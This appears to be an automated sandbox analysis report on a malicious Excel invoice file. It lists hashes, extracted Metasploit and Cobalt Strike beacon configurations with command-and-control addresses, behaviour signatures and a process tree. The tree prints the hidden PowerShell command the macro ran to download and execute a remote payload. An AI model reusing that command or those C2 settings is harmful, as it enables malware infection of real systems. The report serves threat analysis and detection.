Analysis

  • max time kernel
    141s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    23-08-2021 22:17

General

  • Target

    Invoice453891.xlsm

  • Size

    86KB

  • MD5

    9ef60e9f0364cfc381fe5c870e9e10f0

  • SHA1

    67173558f554be3acd49292c4614aa5ee81ecfa3

  • SHA256

    0e37b2666933d637c97224ff505132118838c2889d1aa3ed385817badd17d1b2

  • SHA512

    3603ac6e154637d808ec254b5cbb23f97e994538a3a35305ec4ac9b1a0606717a8e4b45e59d8677753e1bacac45b79baa18fee428118b68b23bdc6fde559acf5

Malware Config

Extracted

Family

metasploit

Version

windows/download_exec

C2

http://5.8.18.118:45500/pSXA

Attributes
  • headers User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

Extracted

Family

cobaltstrike

Botnet

0

C2

http://5.8.18.118:45500/match

Attributes
  • access_type

    512

  • host

    5.8.18.118,/match

  • http_header1

    AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

  • http_header2

    AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

  • http_method1

    GET

  • http_method2

    POST

  • polling_time

    60000

  • port_number

    45500

  • sc_process32

    %windir%\syswow64\rundll32.exe

  • sc_process64

    %windir%\sysnative\rundll32.exe

  • state_machine

    MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnOM3nXx+7HBhkbDd+AwFrFisSunK999w2tM0uTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcPl18geU4f5JlSPXHwilbK4DFb/ePWyKFjhrA7emVRqhM21QMlo1ANsn14rY/RO2pzuft8P7TXoIjjI/B2GGVuzYNZX6X4I2EwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

  • unknown1

    4096

  • unknown2

    AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

  • uri

    /submit.php

  • user_agent

    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUS)

  • watermark

    0

Signatures

  • Cobaltstrike

    Detected malicious payload which is part of Cobaltstrike.

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Invoice453891.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1052
    • C:\Windows\SysWOW64\Cmd.exe
      Cmd /c powershell -nop -w hidden Set-Item Variable:/HBl (New-Object Net.WebClient);SI Variable:6ik 'http://mw.theformangroup.com/yml.xml';Set-Variable 9ul 'C:\ProgramData\JavaHelpApplication.exe';(DIR Variable:\HBl).Value.DownloadFile((LS Variable:6ik).Value,(GV 9ul -Valu));Start-Process 'C:\ProgramData\JavaHelpApplication.exe'
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1960
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -nop -w hidden Set-Item Variable:/HBl (New-Object Net.WebClient);SI Variable:6ik 'http://mw.theformangroup.com/yml.xml';Set-Variable 9ul 'C:\ProgramData\JavaHelpApplication.exe';(DIR Variable:\HBl).Value.DownloadFile((LS Variable:6ik).Value,(GV 9ul -Valu));Start-Process 'C:\ProgramData\JavaHelpApplication.exe'
        3⤵
        • Blocklisted process makes network request
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\ProgramData\JavaHelpApplication.exe
          "C:\ProgramData\JavaHelpApplication.exe"
          4⤵
          • Executes dropped EXE
          PID:1764

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\JavaHelpApplication.exe

    MD5

    a93903d1e907ce0e65658fb7dc4c9ea4

    SHA1

    be0232663b1822c7c3c845d23977a5d0e6745f9e

    SHA256

    0caf9fb9d1057d93e09ecdf84e1c383c70ac8f01693601d0567569c0ebee9e7f

    SHA512

    031a3273cce82d59dcbb1419a4c22da3086c011a92bc6adc43c9f6d6083242cddb69c068f4d2fe5924a65afae391d8eeae50b4e6541feb991851482149b00fa7

  • \ProgramData\JavaHelpApplication.exe

    MD5

    a93903d1e907ce0e65658fb7dc4c9ea4

    SHA1

    be0232663b1822c7c3c845d23977a5d0e6745f9e

    SHA256

    0caf9fb9d1057d93e09ecdf84e1c383c70ac8f01693601d0567569c0ebee9e7f

    SHA512

    031a3273cce82d59dcbb1419a4c22da3086c011a92bc6adc43c9f6d6083242cddb69c068f4d2fe5924a65afae391d8eeae50b4e6541feb991851482149b00fa7

  • \ProgramData\JavaHelpApplication.exe

    MD5

    a93903d1e907ce0e65658fb7dc4c9ea4

    SHA1

    be0232663b1822c7c3c845d23977a5d0e6745f9e

    SHA256

    0caf9fb9d1057d93e09ecdf84e1c383c70ac8f01693601d0567569c0ebee9e7f

    SHA512

    031a3273cce82d59dcbb1419a4c22da3086c011a92bc6adc43c9f6d6083242cddb69c068f4d2fe5924a65afae391d8eeae50b4e6541feb991851482149b00fa7

  • memory/1052-60-0x000000002F411000-0x000000002F414000-memory.dmp

    Filesize

    12KB

  • memory/1052-61-0x00000000711A1000-0x00000000711A3000-memory.dmp

    Filesize

    8KB

  • memory/1052-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1052-101-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1736-67-0x0000000004930000-0x0000000004931000-memory.dmp

    Filesize

    4KB

  • memory/1736-66-0x0000000002160000-0x0000000002161000-memory.dmp

    Filesize

    4KB

  • memory/1736-69-0x00000000048F2000-0x00000000048F3000-memory.dmp

    Filesize

    4KB

  • memory/1736-70-0x0000000004850000-0x0000000004851000-memory.dmp

    Filesize

    4KB

  • memory/1736-71-0x0000000005240000-0x0000000005241000-memory.dmp

    Filesize

    4KB

  • memory/1736-74-0x00000000055F0000-0x00000000055F1000-memory.dmp

    Filesize

    4KB

  • memory/1736-79-0x0000000005750000-0x0000000005751000-memory.dmp

    Filesize

    4KB

  • memory/1736-80-0x000000007EF30000-0x000000007EF31000-memory.dmp

    Filesize

    4KB

  • memory/1736-81-0x0000000006230000-0x0000000006231000-memory.dmp

    Filesize

    4KB

  • memory/1736-88-0x0000000006200000-0x0000000006201000-memory.dmp

    Filesize

    4KB

  • memory/1736-89-0x00000000062C0000-0x00000000062C1000-memory.dmp

    Filesize

    4KB

  • memory/1736-68-0x00000000048F0000-0x00000000048F1000-memory.dmp

    Filesize

    4KB

  • memory/1736-64-0x0000000000000000-mapping.dmp

  • memory/1736-65-0x0000000075721000-0x0000000075723000-memory.dmp

    Filesize

    8KB

  • memory/1764-92-0x0000000000000000-mapping.dmp

  • memory/1764-95-0x0000000000220000-0x0000000000221000-memory.dmp

    Filesize

    4KB

  • memory/1764-96-0x00000000003E0000-0x00000000003E6000-memory.dmp

    Filesize

    24KB

  • memory/1764-97-0x0000000000400000-0x0000000000545000-memory.dmp

    Filesize

    1.3MB

  • memory/1764-98-0x0000000001F00000-0x0000000001F01000-memory.dmp

    Filesize

    4KB

  • memory/1764-100-0x0000000004280000-0x00000000042B5000-memory.dmp

    Filesize

    212KB

  • memory/1764-99-0x0000000004940000-0x0000000004D40000-memory.dmp

    Filesize

    4.0MB

  • memory/1960-63-0x0000000000000000-mapping.dmp